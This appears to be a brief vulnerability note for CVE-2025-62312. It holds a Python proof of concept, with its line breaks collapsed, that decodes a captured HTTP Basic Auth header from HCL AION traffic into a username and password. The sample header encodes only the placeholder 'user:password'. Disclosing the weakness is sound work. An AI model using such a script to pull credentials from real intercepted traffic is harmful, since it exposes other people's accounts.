CVE-2025-62312

import base64 import sys # Proof of Concept: Decoding captured Basic Auth token # This demonstrates the risk of using Basic Auth without encryption. def decode_basic_auth(header_value): try: # Basic Auth header format: "Basic <base64_string>" encoded_part = header_value.split()[1] decoded_bytes = base64.b64decode(encoded_part) credentials = decoded_bytes.decode('utf-8') return credentials except Exception as e: return f"Error: {e}" # Example captured header from vulnerable HCL AION traffic captured_header = "Basic dXNlcjpwYXNzd29yZA==" print(f"Captured Header: {captured_header}") print(f"Decoded Credentials: {decode_basic_auth(captured_header)}")

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